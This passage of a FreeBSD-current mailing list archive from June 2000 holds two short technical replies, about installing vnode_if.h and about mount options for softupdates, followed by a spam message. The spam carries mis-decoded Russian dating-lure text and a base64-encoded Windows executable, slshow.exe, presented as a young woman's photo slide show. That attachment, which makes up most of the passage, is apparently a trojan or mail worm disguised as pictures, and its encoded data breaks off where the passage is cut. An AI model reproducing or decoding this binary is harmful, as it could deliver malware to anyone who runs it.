-0600 (MDT) Message-Id: <200006240610.AAA01831@harmony.village.org> To: Assar Westerlund Subject: Re: vnode_if.h: how should it be done ? Cc: Garrett Wollman , current@FreeBSD.ORG, kris@FreeBSD.ORG In-reply-to: Your message of "22 Jun 2000 05:57:01 +0200." <5llmzyqsfm.fsf@assaris.sics.se> References: <5llmzyqsfm.fsf@assaris.sics.se> <5ln1kesdkq.fsf@assaris.sics.se> <200006220345.XAA42447@khavrinen.lcs.mit.edu> Date: Sat, 24 Jun 2000 00:10:14 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <5llmzyqsfm.fsf@assaris.sics.se> Assar Westerlund writes: : The problem is that the source files are hidden in the kernel source : directory and not installed. Where should vnode_if.{src,pl} get : installed? It seems much simpler just to install vnode_if.h in : /usr/include/sys. Patch appended. No. We don't install kenrel internal files. Use SYSDIR instead. : + ${INSTALL} -C -o ${BINOWN} -g ${BINGRP} -m 444 \ : + ${.OBJDIR}/vnode_if.h \ : + ${DESTDIR}/usr/include/sys I object to this part of the patch. We shouldn't install this file. It isn't needed by anything outside of the kernel/drivers. For drivers, it should be built automatically as part of the modules build system ala the *_if.m stuff. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 24 3:45:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id C0D6337B5F9; Sat, 24 Jun 2000 03:45:33 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id MAA07368; Sat, 24 Jun 2000 12:45:09 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Matthew Dillon Cc: Peter Wemm , Adrian Chadd , Julian Elischer , Anders Andersson , cvs-all@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep.c In-reply-to: Your message of "Fri, 23 Jun 2000 09:41:31 PDT." <200006231641.JAA10742@apollo.backplane.com> Date: Sat, 24 Jun 2000 12:45:09 +0200 Message-ID: <7366.961843509@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200006231641.JAA10742@apollo.backplane.com>, Matthew Dillon writes: >: >:Right, but if mounting with -osoftdep, does what a "tunefs -n enable" >:does (and vice versa) fsck will have that knowledge and the tunefs >:step would be un-needed. >: >:-- >:Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 > > Slight problem: We've run out of mount option flags. mount -o softupdates ? -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 24 11: 4:15 2000 Delivered-To: freebsd-current@freebsd.org Received: from relay1.telekom.ru (relay1.telekom.ru [194.190.195.76]) by hub.freebsd.org (Postfix) with ESMTP id 0238537BB51 for ; Sat, 24 Jun 2000 11:04:00 -0700 (PDT) (envelope-from nady@mailru.com) Received: by relay1.telekom.ru (8.8.7/1.75) id VAA14121; Sat, 24 Jun 2000 21:29:37 +0400 (MSD) From: nady@mailru.com Received: from n1-097.dialup.co.ru(195.16.37.97) by gateway via smap (V2.0) id xma012487; Sat, 24 Jun 00 21:28:35 +0400 To: Íåçíàêîìåö@mailru.com Subject: çíàêîìñòâî Date: Sat, 24 Jun 2000 21:28:35 +0300 Message-Id: <36701.894853240742400.290@localhost> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=ttfrbgkdeihtthim Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --ttfrbgkdeihtthim Content-Type: text/plain; charset=windows-1251 Content-Transfer-Encoding: 8bit ß íèêîãäà íå ïûòàëàñü ïîçíàêîìèòüñß â èíòåðíåòå, íî ðåøèëàñü ïîïðîáûâàòü. Æèâó â Ìîñêâå, ó÷óñü. Ìíå 19 ëåò. Íå çíàþ, ÷åãî ìíå íå õâàòàåò, ìîæåò ïðîñòî îáùåíèß , à ìîæåò ëàñêè è âíèìàíèß. ß äàæå íå çíàþ, ÷òî î ñåáå íàïèñàòü, âðîäå íå äóðà, à íå ìîãó. ß äîñòàòî÷íî êðèòè÷íî (òî åñòü ñåáå íå íðàâëþñü) îòíîøóñü ê ñâîåé âíåøíîñòè, íî ïðåäîñòàâëþ òåáå îöåíèòü åå.(åõå- ýòî ñëàéä øîó) --ttfrbgkdeihtthim Content-Type: application/x-msdownload; name="slshow.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="slshow.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEGAKLKqTgAAAAA AAAAAOAADwELAQUAACQAAADqAAAAAAAAriQAAAAQAAAAQAAAAABAAAAQAAAAAgAA BAAAAAAAAAAEAAAAAAAAAABgAQAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAA AAAAABAAAAAAAAAAAAAAAGhXAQBNAQAAAEABAJwDAAAAAAAAAAAAAAAAAAAAAAAA PFMBAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAC50ZXh0AAAA ADAAAAAQAAAAFgAAAAQAAAAAAAAAAAAAAAAAAEAAAMAucmRhdGEAAAAQAAAAQAAA AAIAAAAaAAAAAAAAAAAAAAAAAABAAADALmRhdGEAAAAA4AAAAFAAAAAGAAAAHAAA AAAAAAAAAAAAAAAAQAAAwC5pZGF0YQAAABAAAAAwAQAABgAAACIAAAAAAAAAAAAA AAAAAEAAAMAucnNyYwAAAAAQAAAAQAEAAAQAAAAoAAAAAAAAAAAAAAAAAABAAADA LmRhdGEAuwAAEAAAAFABAAAKAAAALAAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADZOCpAOQjqCAF8MdQtOEEQ mQjWUdXSkQjOmSnICcISvCS2SLCRqiKkRJ6YiZISjCSGSICRehDcLhUgK1CnTCnQ yAnKkcQivkS4sonfkUGsIqZEoJqJlBKOJIhMggl8iWqZqXYRcEYMCURkXolYElIk TEhGuUQ6iTQXOJEoIiJEHBaJEBUIAf+MMjEYR+lIECAMBZMZAxFIZEEgAU9gEnk0 RTBgDGwyQKcQqDBTAggSeEEubAo7GkBgqCBCqPVhYIAySigj0HmUFS8BmAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAADhhgJUMkAKZBAIXEhykYginkX+ySupOAHDCFIZINBR CJQSUCQ4SCiRHCIURQRBAfRQmRDgCdgSxCS8SLCRqCKkRJyUiYgRmgKAYFN1Ympl Yxt0OiB55xNMS+N5OhAuuXhQTHJgYgjCyMvlOe3ocAd1ZHdzJyNoPaYxAUhFTE8g TlPAPGoAb2huQGVtYWkebC5j+6g+NHdzKHRwCAC2qaXImZKMbjiC+oGGg8aOb6+A KaP4i5GIhORrHq2l5Xs3nCCRZXJuzGwzHTIuZHjQNHd/aRhiYWsQZWTz3WybOC4e lwdEh2bHddN0UPYQUHMkU3hv+ndhYRxcTWnXu2Jy8npzFElDURjzY7fGcx30V8+A ZBS2eBtDdXIw2XRWvqQeaW8/h0V4cGx9IsvJU2i4+p8gRjo2ZDWEp0RxTuNnUohr g0xh401TBjzoUv/RU5sWdk6v+jh/JGDkLoxyclF1eCZ9O2gpdBDNgtvCZUST3iC8 NXTWH0D2FTKTaDcComcykDExOXk05jPn3TfLp241YJIt00lQRzR1QCl1qRhxQWdp cPqWb+BGykp0sRlFJGLjumSQ4E9GBVRXQVJFHdYSUR6qXU01QhTV8Uh5GlN0hmhm Pj8cICVz2HAYaDqhCTFSBjIaYuhBGG3uQQJjVYBIDDFbUFwITtTvCBkgLVgjxSEw uHRyeITwbChuawjOiC87CDIQKAopgBBDcnlwE3RJVhm4ID4IW/BkUl0oNFwGwoVh gj0qI4V7OjsFUSxWLpj/2mCUb2eYhDx+MdBEVKPWjTVDDfRtE8qRDkcxbDHU0HNj 6HBJZdFQ8kayH6wIsXQLdysBZTUuMCGInBkyKWA1BHaUE5GUGW94bsKaHIQIWdA6 zuP3B+zh6qLVd/B36yblKABVaWBycWd0Yx1aS297zD9Ymj11Dk9FV4RHYYOrcjgM duUeVIe+TFBNkHk5YnEObmZ3XY5wULsWmHZzRlFtojF4vS7INYMuDQqDUo4Q5kEk U1/GEnQdMql0ASS+oKXzzLqjwwzkrag8FKlQD8zUIgch0Ick5O5MEfVWrgN8/1Ae +LK1qwitNASQFHRmUBh7YHgIYWc9fHC4VADT4PLG5PXEc+8P8/jF6Ift0T8chOzy wJVIAdNGZHVEQMtzeFHmbntx6eVo0XJ051JJTDgxazRtKzGTxq+cLGaidwJuNDUp Y2tO+KLFkQggc9gsV68waEtgcQxAa3BoomZ6bTthVUgSE3JqHYdkECTGLCQBc3Et Z2/HgwqKLkZkTHwYKjoDSAr3twM5OCAJNSBOVLiUEnNrdBOVDiwuW7DiY8qkrpDl eF8Lh3CbtFUjCKiwubncSaniCooWsgJPi62acmDoNDCkoFQKrljMESwJQIlGMFlt pLnWuAtecytOui9qcOs0DnFEQVRcIvspqY1QnWDhYahocXUqaXQcyO5vuChi2KoQ 5fYlEaR5la1tjZUYiSBGgLl5OH14daIMqSGy7qv4ArUgRGrWYyv1jHQ54+qeEDcy MAK6ElpEgZGGC3JjBHMghS0Xz3echWZj3QGFfwHpgAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAADg4MQFWARiANRioM8UIUDIoFKRANsBANMRDMIRIOQ00 UcOkOGLMKXCBoKUokewiEFL4UMQKOgxoUQilPJkWKXgVLgEz3InOIgmCRG7AiZAS niSwVAEZdDcQmpEJqCK2RMTSieQS8iICOAQYSCKRNCJERFBeiXQSfCSaSKaRtiLG RN70iQyZySIJZpmRjAk2THRaSBIvGbsUCKkRUhYDtBARpQoQ7w8xthlxEQFADAO+ EAmpCzIJEaAmpgljSxnxDmaBEQcJIBINZkhhmikgLwMgMQIgkARiegntBwIdCAI3 EwRvTP/x70AQX8xhOwnwxEFqFQyrMbOoiFwJgU9TgBcykUGBUqaQYzFE0PrMCYZp 50AYssyJOUnfiRyZ4cT5IBGFAQNXIoE3ZAsxhUjHmcvRZxOlM5nwqQ4z4fY59zEJ vGEoBgSIGFiSJGQkCRRIBIjwNhlEEeQT1CIJxkS4sImaEowkgkh4kXAiaEReVIky kXE6IixEIhiJEBIIIvo1BuYJRNzKicATRiIxtkSakomKEqwmpAlE1CxuOpGSYsD6 TshTVgh3mv+ZcH90AE1GQzQyLkRM44AUAmZnZXRz4FLHEG9wl24ERwdjbKdzquSz FHK5YWTBuePzdMtscDdnrRRwp2mfzmYKuxQ8n2Nt+D2UdXJl316zPF1uYBAuawhh GXdMdJyFSRxfTkN4L0bMYUhI6G5vZIpcGUIoRfOejmZvymdEb1RYY3V0Y4JLm4Yo ELVY7nBleTSTHFhMb3aO28xkZupkrpZS3g5y9njK5twMTAhyVHOAvqM8MnpoyLGm RmEpekTMUGkRy/HXu20ofcAa2QcUulnClUtVplGbvrzUK4F9AaYKAU1TVkNSVC6z N1zPVEgUSMoQWJ88PUa6bFTMZ991cgZhQwhISh81WB1fxT/Rk81y5kFSC7aUFGjN U22skDlzOnVsG+Zo1QyCNJoog15qfyajxblpdrogUk4VY2/3IGTgbqQQUmYOKX9C M2Zwdih0ecolxpRHYzqOO6RoXMYzKEGzpIChJF6kWDIcTkEAZagwgauvokHA5AJT xhhDdfbtjEJEaQxj7G/qedwuDOkBMGGSOFVQmZweMR9DIKw0aRgcKXc7vYIaikIZ ElQiTe5iLJYOClMCVW7bD3BWnsV3T2YcFhXtII5TiHoFpAFNPB4ypWi3NRkFK2dD jG8CVxQSRXiccDIWAX1Qj8lHQWQcUnPjhziQAUzpDjGHaWL+1LjCoQJsbJnLGZgN FkrGmhzDBlL06tRDZH9Jwsg/jb5aIS8hSqbIn00yIHVhoAdvZqSk1ZSCiiWYLAgV 